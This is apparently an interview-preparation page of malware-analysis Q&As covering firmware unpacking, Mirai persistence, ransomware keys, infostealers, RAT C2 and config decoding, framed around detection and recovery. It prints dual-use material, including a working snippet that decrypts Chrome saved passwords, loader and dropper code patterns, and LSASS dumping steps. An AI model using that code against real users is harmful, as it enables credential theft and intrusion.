|---|---|---|---|
| 1 | binwalk router.bin | SquashFS at 0x2C10, little endian, version 4.0 | No signature means the filesystem is compressed or encrypted, not absent |
| 2 | unsquashfs -d fs_stock squashfs.bin | Clean unpack, exit code 0 | Superblock error points to a vendor-modified variant |
| 3 | sasquatch -p 1 -d fs_sasquatch squashfs.bin | Clean unpack, exit code 0 | Failure in both tools points to a truncated slice or wrong offset |
| 4 | file fs_sasquatch/bin/busybox | ELF 32-bit LSB executable, MIPS, MIPS32 | x86 or ARM output means I sliced the wrong region or the image is for different hardware |
The architecture check in step 4 is the verification people skip. A filesystem that unpacks but contains binaries for the wrong CPU is not the root filesystem for this device. It may be a recovery image, a decoy, or a slice from a different firmware version appended to the file. I also check for the expected layout: /bin, /sbin, /etc, and an init binary. A tree with only a handful of files usually means the extraction stopped early, often because a file inside the image uses a compression method the tool does not support.
Stock unsquashfs versus sasquatch
Stock unsquashfs | sasquatch | |
|---|---|---|
| Strength | Matches the upstream SquashFS specification, so its output is predictable | Accepts vendor modifications to the superblock, fragment table, and compression options |
| Weakness | Rejects modified images with a superblock error even when the data is intact | Less widely packaged, and its error messages are thinner when an image really is corrupt |
| Use it when | The image is a standard SquashFS build | Binwalk found the signature but stock unsquashfs fails |
I run stock first because a clean result there is the strongest signal that nothing unusual was done to the filesystem. When it fails, sasquatch is not a guess. It parses the same structures with looser checks, so a successful unpack gives me the files to analyse while the failure itself becomes evidence that the vendor modified the image. That distinction matters in a report. "Modified SquashFS, unpacked with sasquatch" is a defensible finding. "Binwalk extracted the filesystem" is not, if I never checked what came out.
One caution on extraction safety. SquashFS images can contain symlinks and device nodes. Unpacking as a regular user inside a VM keeps those contained. I do not unpack as root, and I do not execute any binary from the extracted tree on the analysis host. If I need to run a script from the filesystem, I copy it into a separate emulated environment and treat it as untrusted code.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-30Why does Mirai-style IoT malware often run only in memory and rely on reinfection after a reboot instead of installing persistent files?
The 90-second answer
Mirai and its descendants usually skip on-disk persistence because on the devices they target it buys little and costs a lot. Most are Linux-based cameras, routers, DVRs and home automation hubs with a small or read-only root filesystem, little free flash, and no package manager. The original Mirai (2016) loaded itself into RAM, deleted its own file from disk where it could, and after a reboot simply waited to be reinfected. Reinfection was cheap: scan the internet for TCP/23 and TCP/2323, try a short list of factory default username and password pairs, download the build for the device architecture, and run it again.
That design fits the constraints. A file in /etc/cron.d, /etc/init.d, /etc/rc.local or a systemd unit only helps if the filesystem is writable, survives reboot, and is not wiped by a factory reset or firmware update. Many embedded images mount / read-only, keep /tmp in RAM, or overwrite config on update. Writing persistence also leaves a hashable artefact for an analyst and a file for antivirus or a vendor cleanup tool to remove. Reinfection leaves nothing to clean. The botmaster does not need one device to live for a year. With hundreds of thousands of devices still carrying default credentials, losing a few thousand to reboots is acceptable.
Architecture that makes reinfection work
The scan and brute-force loop is the persistence mechanism. It runs in the same process as the attack code, so the malware does not need a separate watchdog. Variants differ in the download step. Some use a hardcoded HTTP server, some use TFTP on UDP/69, and some fetch a second stage that then pulls the main payload. The architecture check matters because a MIPS, ARM, PowerPC or x86 binary will not run on the wrong device, and constrained devices rarely have an emulator or interpreter to fall back on.
When variants do persist
Later families added persistence when the target changed. A botnet that wants a stable foothold on a compromised router, or that monetises access rather than raw DDoS volume, will use whatever survives on that firmware.
| Location | What it does | When it works | Analyst check |
|---|---|---|---|
@reboot entry in crontab or /etc/cron.d | Runs a command at boot | Writable cron spool, cron daemon present | crontab -l, ls -la /etc/cron.d/ |
/etc/init.d/ script or /etc/rc.local | Runs at boot via SysV init | SysV init, writable init directory | Compare against known-good firmware image |
systemd unit in /etc/systemd/system/ | Starts as a service | systemd-based firmware, writable /etc | systemctl list-unit-files, unit file contents |
LD_PRELOAD in /etc/environment or profile scripts | Loads a shared library into new processes | Dynamic linker reads the variable, writable config | Check env files and loaded libraries in /proc/<pid>/maps |
| udev rule or hotplug script | Runs on device events | udev present and rules directory writable | ls /etc/udev/rules.d/ |
| Modified firmware or boot script | Runs before normal init | Writable flash partition, no secure boot | Hash boot partition against vendor image |
None of those is a Windows Run key. There is no registry, no Services control manager in the Windows sense, and no HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. The equivalent idea is the same, a location the operating system executes automatically at boot or login, but the path and the daemon that reads it are Linux ones.
Failure modes and detection
Reinfection fails when the device changes its default credentials, closes Telnet, or gets a firmware update that patches the service. It also fails when the scanning thread is killed, which is why many variants kill competing malware and close the Telnet port after entry, then reopen it only for their own backdoor. Persistence fails more quietly. A cron entry pointing to a deleted file, a systemd unit whose binary was removed, or an init script on a read-only mount after an update all produce a boot error and no running process. In a sandbox that is a useful signal. If a sample drops a file into /etc/init.d and creates a symlink, it is trying to persist. If it only opens a listening socket, scans, and never touches disk, it is probably built for reinfection.
For triage, check both. Look for the in-memory indicators first: unexpected listening processes, outbound scans, and processes with no backing file in /proc/<pid>/exe. Then check the boot locations in the table against a clean image of the same firmware. A hash match on the filesystem means nothing if the device reinfects itself an hour later, and a clean filesystem means nothing if the cron entry is still there.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-31Walk me through how modern ransomware generates and stores its encryption keys, how you would recover files without paying, and what you would change to stop it spreading?
The 90-second answer
Most modern families use hybrid encryption because encrypting a whole drive with RSA alone would be too slow. A per-file data encryption key (DEK) does the bulk work, and an asymmetric key pair protects that DEK. The analyst question is where the private half lives, how the DEK is generated, and whether any copy survives on the victim host. That decides recovery.
Typical flow: the sample generates a fresh DEK per file with the OS CSPRNG, encrypts the file, wraps the DEK with the attacker's public key embedded in the binary or fetched from C2, writes the wrapped DEK into the file header or a sidecar, then deletes or overwrites the original. Some families instead generate one master DEK per host or per campaign, wrap it once, and reuse it. The difference matters for decryption. One broken master key can unlock every file from that host. Per-file keys mean you need per-file recovery unless the master wrapping key leaks.
Key generation and where it fails
Check three places in order. First, the RNG. Windows samples should call BCryptGenRandom or CryptGenRandom. Older or sloppy families used rand(), RtlGenRandom with a fixed seed, a timestamp, or the volume serial. If the seed space is small, brute force is practical. A 32-bit seed is about 4 billion trials, which a GPU or even a CPU cluster can test against a known plaintext header in hours. Second, key storage. Dump process memory before exit. DEKs often sit in heap buffers, are zeroed late, or are copied into a struct that is never wiped. Tools such as Volatility 3 with a yarascan for high-entropy buffers, or a debugger breakpoint on BCryptEncrypt and CryptEncrypt, can recover them. Third, the wrapping key. Look for a hardcoded RSA public key in .rdata, a blob fetched from C2 at runtime, or a key derived from a hardcoded password or machine GUID. If the private key was generated on the C2 and never sent down, and the RNG was sound, there is no cryptographic shortcut.
| Scheme | What you see on disk | Recovery chance | Example failure |
|---|---|---|---|
| Per-file AES DEK wrapped with RSA-2048 | Wrapped key in each file header | Low unless memory dump captured | DEK left in heap after SecureZeroMemory missed |
| Single host master key wrapped once | One wrapped blob in config or ransom note folder | High if master leaks or is weak | Master derived from rand() seeded at install time |
| Stream cipher with key in binary | No wrapped key, key or seed in code | High | Hardcoded Salsa20 key reused across campaigns |
| C2-held key, per-file DEK sent to server | Network traffic with wrapped DEKs | Low without server seizure | Server logs seized by law enforcement |
Worked trace
Assume a sample encrypts report.docx (48 KB). It generates a 32-byte DEK, encrypts with AES-256-GCM, producing ciphertext plus a 12-byte nonce and 16-byte tag. It RSA-encrypts the DEK (256 bytes for RSA-2048) and writes nonce || tag || wrapped_DEK || ciphertext to report.docx.lockbit. Original deleted. If you captured memory at the moment of BCryptEncrypt, you get the 32-byte DEK and can decrypt that file and, if the DEK was reused, others. If you only have the disk image, you need the RSA private key. That arithmetic is the point. AES-256 brute force is infeasible. RSA-2048 factoring is infeasible. Recovery hinges on implementation mistakes, not breaking the primitives.
Recovery without paying
Preserve first, decrypt second. Isolate the host, pull power only after a memory capture if you suspect keys in RAM, and image the disk. Do not run the sample again on the production network to test a decryptor. Check, in order: immutable or offline backups and VM snapshots taken before encryption, Volume Shadow Copies (often deleted by vssadmin delete shadows, so check whether deletion succeeded), free space and unallocated clusters for originals where the family overwrote in place versus wrote new files, and public decryptors via the No More Ransom Project and vendor blogs for that family and version. Version matters. A decryptor for v1 often fails on v2 because the key schedule changed. Also check for double extortion. Many groups exfiltrate before encrypting, so restoring from backup does not end the incident. Preserve firewall and proxy logs for the exfil window.
Paying is a last resort decision for leadership, not an analyst call, because payment funds crime, often does not guarantee a working decryptor, and does not prevent leak publication. If leadership considers it, use a negotiator and law enforcement channels, and keep the encrypted files and ransom note untouched for key analysis.
Mitigation that actually changes the outcome
Segment the network so one host cannot reach file shares and backup servers with the same credentials. Remove standing local admin, require MFA for VPN and remote access, and block SMBv1. Deploy EDR with behavioral rules for mass file rename, entropy change, shadow copy deletion, and BCryptEncrypt loops, plus canary files on shares that alert on first modification. Keep 3-2-1 backups with at least one offline or immutable copy that ransomware cannot reach with domain credentials. Test restores quarterly. A backup you have never restored is a hope, not a control.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-32A sample copies Chrome's Login Data and Local State to Temp, calls CryptUnprotectData, then opens LSASS with PROCESS_VM_READ: walk me through what it is doing at each step and what you would look for in Sysmon?
The 90-second answer
That sequence is a standard infostealer run. It copies Chrome's credential database so the locked original does not block it, unwraps the encryption key Chrome stores on disk with DPAPI, decrypts the copied passwords, then reads LSASS memory for cached logon secrets. Each step uses an API Windows allows for the logged-in user, so the behaviour looks legitimate in isolation. The order and the file paths are what give it away.
Chrome theft, step by step
Chrome stores logins in Login Data, an SQLite file at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data. While Chrome is running that file is locked. The stealer copies it to a temp folder and queries the copy:
SELECT origin_url, username_value, password_value
FROM logins;Since Chrome 80 the password_value field is AES-256-GCM encrypted. The key is in the Local State file in the same profile folder, DPAPI-encrypted. Any process running as that user can call CryptUnprotectData on it. That is the design flaw the stealer relies on: DPAPI protects the key from other users on the machine, not from other processes running as the same user.
# Chrome v10 decryption, Python 3.11 on Windows, pywin32 + cryptography
import json, base64, win32crypt
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
state = json.load(open("Local State"))
raw = base64.b64decode(state["os_crypt"]["encrypted_key"])[3:]
key = win32crypt.CryptUnprotectData(raw, None, None, None, 0)[1]
nonce, ct = blob[3:15], blob[15:] # blob is one password_value
password = AESGCM(key).decrypt(nonce, ct, None).decode()Newer Chrome versions on Windows add App-Bound Encryption, which ties part of the key to a privileged service. When that is present, a plain CryptUnprotectData call returns a key that fails AES-GCM authentication. In a sandbox that failure, followed by a retry or an elevation attempt, is useful evidence the sample is a current stealer rather than an older one.
LSASS dumping
LSASS holds cached credentials in its own memory. The sample first enables SeDebugPrivilege on its token, then calls OpenProcess on lsass.exe with PROCESS_VM_READ (0x0010). The common next call is MiniDumpWriteDump, which writes a copy of LSASS memory to a file on disk. The stealer parses that dump offline for plaintext passwords, hashes, and DPAPI master keys.
| Step | Call or file | What it proves |
|---|---|---|
| Copy database | Read of Login Data and Local State, write to %TEMP% | Theft of a copy, not normal browser use |
| Unwrap key | CryptUnprotectData from a non-Chrome process | Decryption outside Chrome |
| Read LSASS | OpenProcess on lsass.exe, then MiniDumpWriteDump | Credential dumping, not diagnostics |
| Exfiltrate | HTTP POST of the temp files or dump | Data leaving the host |
What I look for in Sysmon
Event 11 (FileCreate) shows the temp copies of Login Data and Local State written by a process that is not Chrome. Event 10 (ProcessAccess) shows that same process opening lsass.exe with an access mask that includes 0x0010. Event 1 or a process tree shows the parent, which is often a script host, a renamed executable, or a process launched from a download folder. I then check the network log for a POST shortly after the dump file appears. If the POST is absent, I still treat the LSASS access as a compromise, because the dump may be staged for a later send or the sandbox may have blocked the C2. On a live host that means rotating the affected credentials, not just deleting the temp files.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-33A RAT sample beacons every 60 seconds over HTTPS but also falls back to DNS TXT queries when HTTPS fails: how do you map its capabilities to that C2 design and what would you look for in traffic to confirm each channel?
The 90-second answer
A RAT is not defined by one command. It is a client that maintains a tasking loop: beacon to the server, receive queued tasks, execute them, return results, then beacon again. The capabilities you can prove in a sandbox follow directly from that loop and from the channels the client implements.
For the sample you describe, I would expect two channels with different jobs. HTTPS is the primary channel because it carries structured tasks and bulk results such as screenshots, file uploads and shell output. DNS TXT is the fallback because it works in locked-down networks where direct HTTPS is blocked or proxied, and because a resolver will usually forward it even when the host has no direct internet route. The trade-off is bandwidth and latency. DNS TXT can carry a few hundred bytes per answer in practice, so it suits small tasking, host inventory and a signal to try HTTPS again. It does not suit a 2 MB screenshot.
I would not claim a capability from a string or an import alone. I would claim it when I see the task in traffic, the action on the host, and the result coming back.
Mapping capabilities to the protocol
| Capability | Typical task | Channel that fits it | Host evidence in sandbox |
|---|---|---|---|
| Remote shell | shell: whoami or shell: net user | HTTPS | cmd.exe or powershell.exe child of the RAT, output in the POST body |
| File transfer | download: C:\\Users\\...\\doc.docx | HTTPS, chunked | File read by the RAT process, then outbound POSTs of 8-64 KB chunks |
| Screenshot and keylogging | screenshot or keylog_start | HTTPS for image, HTTPS or DNS for small keylog batches | GDI calls, a growing log file in %APPDATA%, periodic small POSTs |
| Process and persistence control | listproc, add_runkey | Either, small payload | Registry write or new process enumeration in ProcMon |
| Discovery | sysinfo, listdir | DNS TXT is enough | Directory reads, then a TXT query carrying the result in a subdomain or a follow-up query |
The protocol design choices explain why the traffic looks the way it does. The client usually stores its configuration, C2 host, campaign ID and a hardcoded key in an encrypted blob in a resource or a section, decrypted at runtime with a key derived from a machine ID or a constant. That is why the domain may not appear in plain strings. The server side is often a panel that queues tasks per host ID, so the beacon contains a stable host identifier, OS version and sleep interval. Jitter is deliberate. A fixed 60 second beacon is trivial to detect with a periodogram, so many families add jitter, for example 60 seconds plus or minus 20 percent, and a longer sleep after a failed check-in.
Worked trace: what I would check in Wireshark
Hypothetical capture from a 10 minute sandbox run, times in seconds from first beacon:
| Time | Traffic | Interpretation |
|---|---|---|
| 12 | DNS A query for cdn-update.example.net | Resolution before HTTPS, short lived |
| 13 | TLS ClientHello, then POST /api/checkin 214 bytes | Beacon with host ID and sysinfo |
| 14 | TLS response 96 bytes | Empty task queue or a small task |
| 73 | POST /api/checkin 214 bytes | Next beacon, interval 60 s |
| 74 | Response 1,240 bytes, then POST /api/result 3,100 bytes | Task delivered, result returned |
| 75 | ProcMon shows cmd.exe spawned by the sample | Shell task executed between the two POSTs |
| 134 | POST /api/checkin fails, TCP reset | Primary channel lost |
| 136 | DNS TXT query for aGVsbG8... .t.example.net, 180 byte TXT answer | Fallback tasking, base64-like label |
| 196 | DNS TXT query again, 60 s later | Fallback beacon at the same interval |
That sequence separates the channels. HTTPS carries the shell task and its output. DNS TXT carries only small data and repeats on the beacon schedule, which is consistent with a fallback check-in rather than exfiltration. If the TXT answers grew to several kilobytes across many queries, I would revise that and treat DNS as an exfiltration channel.
Confirming it, not guessing it
I would run the sample twice. First with FakeNet-NG or a local TLS server that logs the POST bodies after decryption where possible, and with ProcMon and Process Explorer recording the child processes and file writes that match each task. Second with HTTPS blocked at the VM firewall, to force the DNS fallback and confirm the client switches channels without a restart. A capability is only in the report when the task, the host action and the response line up in time.
For periodicity, a short script over exported packet times is enough:
# Python 3.11, run on a CSV export of packet times from Wireshark
import csv, statistics
times = []
with open("beacons.csv") as f:
for row in csv.DictReader(f):
times.append(float(row["time"]))
intervals = [round(b - a, 1) for a, b in zip(times, times[1:])]
print(intervals)
print("median", statistics.median(intervals), "stdev", round(statistics.pstdev(intervals), 1))Intervals of 52, 61, 68, 59 and 63 seconds give a median near 61 and a standard deviation around 6, which matches 60 seconds with jitter rather than a human browsing pattern. Benign update traffic rarely shows that regularity to the same destination over 10 minutes.
Failure modes to name in the report: TLS with a self-signed or expired certificate and a client that ignores validation, which makes interception easy; DNS fallback that leaks the host ID in a subdomain in plain text; and a task queue that replays the last shell command after reconnect, which can duplicate actions. Each one is a detection opportunity, and each one changes what you can safely claim about the operator's infrastructure.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-34What is the key difference between a loader and a dropper in terms of where the next stage ends up?
The 90-second answer
A loader loads the next stage into memory and runs it there. A dropper writes the next stage to disk as a file and then runs that file. Where the next stage lands is the test.
That distinction matters because it changes what you capture. With a loader, the payload may never exist as a file, so you need a memory dump taken after decoding and before control transfers. With a dropper, you can recover the dropped file from disk, hash it, and analyse it as a separate sample.
| Feature | Loader | Dropper |
|---|---|---|
| Next stage location | Memory | File on disk |
| Typical behaviour | Decodes a blob, allocates executable memory, jumps to it | Writes a file, then executes it |
| File artefact | Often none for the next stage | Dropped file with a path and hash |
| Evidence to save | Memory dump at the transfer point | Dropped file, its path, and the command used to run it |
How it looks in code
The API pattern usually gives the classification away before you run anything.
// Loader pattern: decode in place, allocate, transfer control
void *mem = VirtualAlloc(NULL, blobSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(mem, decodedBlob, blobSize);
((void (*)())mem)();// Dropper pattern: write a file, then execute it
HANDLE h = CreateFileA("C:\\Users\\Public\\upd.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
WriteFile(h, embeddedPayload, payloadSize, &written, NULL);
CloseHandle(h);
CreateProcessA("C:\\Users\\Public\\upd.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);Staged delivery in a run
A hypothetical trace, labelled as such, shows the split:
| Time | Event | Classification |
|---|---|---|
| 0.0 s | sample.exe starts and fetches 84 KB over HTTP | Stage 1 contacts server |
| 0.5 s | sample.exe allocates RWX memory and writes decoded bytes there | Loader step |
| 0.6 s | Thread starts at the allocated address | Stage 2 runs from memory |
| 1.2 s | Stage 2 writes upd.exe to disk and starts it | Dropper step |
| 1.3 s | upd.exe sets a Run key | Final payload persistence |
One sample can act as a loader for one transition and a dropper for the next. Classify each transition separately, save the memory dump for the loader step, and save the dropped file for the dropper step. Reporting only the first hash leaves the actual payload undescribed.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-35A sample stores its C2 config as a blob XORed with a repeating key that advances per byte, and you have one known plaintext header but no key: how do you recover the key and decrypt the rest?
The 90-second answer
Assume the blob is C[i] = P[i] XOR K[i] and start by classifying how K advances. That classification decides the attack. A single byte key falls to brute force scored against config structure. A repeating key of length L falls to known plaintext at a fixed offset plus frequency analysis per column. A rolling key where each byte depends on the previous cipher or plain byte, or on a counter, needs the recurrence recovered from the loop in the disassembler, not a repeating key search. I state which case I am in before I write a decoder, because applying the wrong one produces plausible looking garbage.
For a repeating key, a config almost always has a known header. JSON configs start with {", XML with <?xml, a PE style config often starts with a length field followed by a URL or a mutex name you already saw in strings or in a sandbox run. XOR that known header against the cipher at the same offset and the key bytes appear directly. If the header is longer than L, you get the whole key. If it is shorter, you get a partial key and fill the rest by column frequency.
# Python 3.11, checked against a repeating XOR blob
def recover_key(cipher: bytes, known_plain: bytes, offset: int = 0) -> dict[int, int]:
return {i % 64: cipher[offset + i] ^ known_plain[i] for i in range(len(known_plain))}
def decrypt(cipher: bytes, key: dict[int, int], key_len: int) -> bytes:
return bytes(b ^ key[i % key_len] for i, b in enumerate(cipher))The 64 above is a placeholder for the real L. In practice I recover L first, then use the dict above with that value.
Finding the key length
For repeating XOR, bytes at distance L share a key byte, so their XOR equals the XOR of two plaintext bytes. Plaintext XORs cluster near zero for spaces, braces and repeated letters. I compute, for candidate lengths 1 to 64, the fraction of pairs at that distance whose XOR is below 0x20, and pick the length with a clear peak. Hamming distance between blocks works the same way. A single byte key shows a peak at 1. A 16 byte key shows peaks at 16, 32 and 48. Multiples appear, so I take the smallest length in the peak family and test it by decrypting.
Worked trace, hypothetical figures labelled as such. Cipher starts 9F 41 07 C2 55 ..., known plain starts 7B 22 63 6F 6E ... ({"con).
| Offset | Cipher | Known plain | Key byte (cipher XOR plain) |
|---|---|---|---|
| 0 | 0x9F | 0x7B { | 0xE4 |
| 1 | 0x41 | 0x22 " | 0x63 |
| 2 | 0x07 | 0x63 c | 0x64 |
| 3 | 0xC2 | 0x6F o | 0xAD |
| 4 | 0x55 | 0x6E n | 0x3B |
If the same five key bytes recur at offset 16, 32 and so on, L is 16 or a divisor of 16. I decrypt the full blob with the recovered bytes and check the tail. A correct key yields printable JSON or XML to the end, a wrong length yields printable text for the first block and noise after it.
When the key rolls
Many families do not repeat. Common variants I see in the loop: K[i] = K[i-1] XOR C[i-1], K[i] = (K[i-1] + i) & 0xFF, or a small LCG seeded once. With a known header I can still recover the seed, because the first key byte gives the seed or its first output, and then I simulate the recurrence forward. The disassembly tells me which variant applies. I look for the loop that reads the blob, XORs, and writes to a new buffer, then trace the key update inside that loop rather than guessing from the output.
Dynamic fallback and failure modes
If static recovery stalls, I run the sample in the VM, break at the instruction after the decrypt loop, and dump the destination buffer. That gives plaintext regardless of the key scheme, and the key buffer beside it often holds the key in the clear. I prefer this over patching anti-debug checks first, because the loop usually runs before any network call.
Two failure modes mislead people. First, the blob may be XORed twice, once with a repeating key and once with a single byte, or XORed then added to. Decrypting with only the repeating key leaves a constant offset on every byte, which looks like a shifted alphabet. I test for that by checking whether decrypted bytes are all printable but off by a constant. Second, the key may be derived from a host value such as volume serial or machine GUID, so a key recovered on my VM will not decrypt a blob captured from a victim host. I check the loop for calls such as GetVolumeInformation or registry reads feeding the seed before I report the key as reusable.
I validate the result by parsing the config, not by eyeballing it. A JSON parse that succeeds, a C2 URL that resolves in the sandbox, and a mutex or campaign ID that matches the sandbox run together confirm the key. Anything less is a candidate key, not a recovered one.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-36Walk me through how ransomware and C2 samples combine RSA and AES, and how you extract the keys from a sample to decrypt files or config?
The 90-second answer
Ransomware and C2 samples use hybrid encryption because neither primitive fits alone. AES encrypts the bulk data fast. RSA encrypts a small AES key and can prove who sent a message. The sample normally embeds only the RSA public key. The matching private key stays with the operator, so extracting the public key from the sample does not decrypt anything by itself. Extraction succeeds when the sample also carries a private key, a hardcoded AES key, or generates the AES key in memory where you can dump it before it is wiped.
| Task | Primitive | Why it is used | What you find in the sample |
|---|---|---|---|
| Encrypt files or a large config | AES-128 or AES-256, usually CBC or CTR | Fast on megabytes, hardware accelerated on x86 with AES-NI | Key and IV generated at runtime, often 16 or 32 bytes, then wiped |
| Protect that AES key | RSA-2048 with PKCS#1 v1.5 or OAEP | Lets the operator unwrap it later without sharing a secret in advance | Embedded public modulus and exponent, typically a 256-byte blob |
| Authenticate C2 commands | RSA signature, or RSA key exchange for a session key | A compromised client cannot forge commands signed by the server key | Public key used to verify before a command runs |
| Encrypt C2 traffic | AES session key wrapped with RSA, or AES with a hardcoded key | RSA on every packet would be slow and would expand each block | Session key negotiated at startup, then reused until reconnect |
For ransomware, the common pattern is one AES key per file. The wrapped key and IV are appended to the encrypted file header, often with a campaign ID. Some families instead generate one master AES key per infection, wrap that once, and reuse it for every file. That distinction decides your recovery path. Per-file keys mean a memory dump from one run may only recover files encrypted in that run. A master key recovered from memory or from a leaked private key recovers the whole set.
For C2, look for the same split in the network code. The sample may fetch an RSA public key in its config, derive an AES session key, and send the wrapped key in the first beacon. Commands coming back are AES encrypted and sometimes RSA signed. If you only recover the public key, you can identify the campaign and verify signatures, but you cannot decrypt past traffic or forge valid commands. If the sample hardcodes the private key, as sloppy families do, you can unwrap session keys and decrypt the capture.
Extracting keys from a sample
Start statically. Search for RSA modulus size and structure, Base64 blobs of 256 or 384 bytes, and imports or constants tied to crypto. On Windows that means BCryptEncrypt, BCryptDecrypt, CryptEncrypt, CryptDecrypt, CryptImportKey, and CryptExportKey. On Linux and cross-platform samples look for OpenSSL symbols such as EVP_EncryptInit_ex, EVP_DecryptInit_ex, RSA_public_encrypt, and RSA_private_decrypt, plus the AES S-box bytes starting 63 7c 77 7b f2 6b 6f c5. In Ghidra, rename the function that allocates 32 bytes, fills it from BCryptGenRandom or rand, and passes it to an AES routine. That is usually the session key generation point.
Then go dynamic, because static search rarely gives you a runtime key that was generated per run. Break on the encrypt and decrypt calls in a debugger or hook them with Frida, and dump the key and IV buffers at that moment. For a C2 sample, break on the first send after key setup and dump the wrapped key blob and the plaintext session key side by side. For ransomware, break before the file write loop and dump each per-file key as it is generated. Also scan process memory for the expanded AES key schedule. The schedule is larger than the raw key and survives in memory longer, which helps when the original buffer was already wiped.
The snippet below shows the recovery step once you have the RSA private key, for example from a leaked builder, a seized server, or a sample that embedded it. It unwraps the per-file AES key from a header and decrypts the file body.
# Python 3, cryptography library. Checked against cryptography 42.x
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
private_key = serialization.load_pem_private_key(open("operator_key.pem", "rb").read(), password=None)
header = open("sample.locked", "rb").read()
wrapped_key, iv, ciphertext = header[:256], header[256:272], header[272:]
aes_key = private_key.decrypt(
wrapped_key,
padding.OAEP(mgf=padding.MGF1(hashes.SHA256()), algorithm=hashes.SHA256(), label=None),
)
decryptor = Cipher(algorithms.AES(aes_key), modes.CBC(iv)).decryptor()
plaintext = decryptor.update(ciphertext) + decryptor.finalize()
open("recovered.bin", "wb").write(plaintext)Adjust the offsets and padding scheme to what the sample actually uses. PKCS#1 v1.5 instead of OAEP, a 384-byte wrapped key for RSA-3072, or CTR mode instead of CBC are all common variants, and the wrong choice produces garbage rather than an error you can trust.
Failure modes to name in an interview
If the private key never touches the sample, say so plainly. You can still report the RSA modulus as a campaign identifier, extract the wrapped keys, and hunt for the operator key in leaks or seized infrastructure, but you cannot decrypt files from the sample alone. If keys are generated with a weak PRNG or derived from a timestamp, a machine ID, or a hardcoded seed, that is a different recovery path and you should test it by regenerating a key and comparing it with a captured wrapped blob. If the sample derives its AES key from a password with PBKDF2 or a simple hash, recover the password from the config or strings first, then derive the key offline. Finally, check whether the sample wipes key buffers with SecureZeroMemory or overwrites them after use. That tells you to dump memory earlier, ideally at the encrypt call, rather than after the file is written.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-37Walk me through how you extract an embedded configuration, such as C2 addresses, a mutex, and a campaign ID, from a sample that stores it encoded?
The 90-second answer
I treat the config as a structured blob the malware has to parse at runtime, so I look for the code that reads it, not just for strings that look like a C2. In static analysis I locate the blob in .data, .rdata, or a resource, find the function that references it, and work backwards from the APIs that consume each field. CreateMutexA/W gives me the mutex, InternetOpen, WinHttpConnect, getaddrinfo, or DnsQuery gives me the C2, and a log, HTTP header, or registry value often carries the campaign ID. If the blob is encoded, the decode loop sits between the blob and those consumers, and that loop tells me the algorithm and key.
Static pass
Start with strings, FLOSS, and a hex view of high entropy regions, but expect the config to be absent in plain text. In Ghidra or IDA I cross reference imports for the consumers above. A typical pattern is a pointer to a global config struct passed to a decode function, then fields read at fixed offsets. I rename the struct from the offsets and types I can prove: a 260 byte buffer used as a hostname, a 4 byte integer used as a sleep interval, a pointer used in a mutex call.
For a single byte XOR, which is common in loaders, the decode loop is short and the key is often a constant, a byte from the PE header, or the campaign ID itself. A Python check against the sample I am working on looks like this:
# Python 3.11, checked against a synthetic sample
blob = bytes.fromhex("1f2a3d..." ) # config blob copied from .data in Ghidra
key = 0x5A
plain = bytes(b ^ key for b in blob)
print(plain[:200])
# b'{"c2":"185.220.101.4:8443","mutex":"Global\\MSWinZonesCache","campaign":"T-8841","sleep":60}'I validate the result by structure, not by eye. A JSON or INI config parses, a URL field matches a hostname or IP pattern, the mutex string is a valid object name, and integers fall in plausible ranges. If XOR with one key produces garbage after the first field, I try a rolling key, RC4 with a key stored nearby, or AES-CBC where the IV is the first 16 bytes of the blob. I record the exact offset, length, and key in my notes so a second analyst can reproduce the extraction.
Dynamic pass when static fails
If the config is built on the stack, decrypted with a key derived at runtime, or fetched from a resource with a name computed at runtime, I switch to a VM with no route to the real C2. I set breakpoints in x64dbg on CreateMutexW, InternetOpenW, WinHttpConnect, and on the crypto APIs the sample imports, such as CryptDecrypt or BCryptDecrypt. When a breakpoint hits, I inspect the arguments and the memory they point to. The decoded buffer at that moment is the config in its usable form, and I dump it with the debugger's memory map or a Scylla style dump.
ProcMon and a Wireshark capture confirm the values without trusting my reading of the dump. ProcMon shows the mutex name in the CreateFile or mutex operation, and Wireshark shows the destination IP or domain the sample resolves. If the sample checks for a debugger, I patch the check in memory or use a hypervisor based tool rather than patching the file on disk, which can break a checksum.
| Field | Where I confirm it | What a wrong decode looks like |
|---|---|---|
| C2 address | WinHttpConnect argument, DNS query in Wireshark | Hostname with non printable bytes, port outside 1 to 65535 |
| Mutex | CreateMutexW argument, ProcMon operation | Name with a null byte in the first few characters |
| Campaign ID | HTTP header, registry value, log string | Integer that changes every run with no other field changing |
| Sleep interval | Argument to Sleep or a timer call | Value such as 0 or 4294967295 with no beacon in traffic |
Failure modes I check
A decoy config is the main trap. Some families store a second, older blob that is never referenced after unpacking, or they store a valid looking C2 that is only used if the primary fails a connectivity check. I check which blob the active code path reads by setting a hardware read breakpoint on the blob address in the debugger. If the breakpoint never fires, the blob is dead data and I do not report it as an IOC.
A second trap is a config that is only valid for one build. Keys and offsets change between campaigns, so I never reuse a decoder from a prior sample without re-deriving the key from the current binary. I also hash the extracted config and keep the raw blob, so a later variant can be compared field by field.
I report the C2, mutex, and campaign ID only after the dynamic confirmation matches the static decode. That match is what makes the extraction defensible in a report, rather than a string I happened to find.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
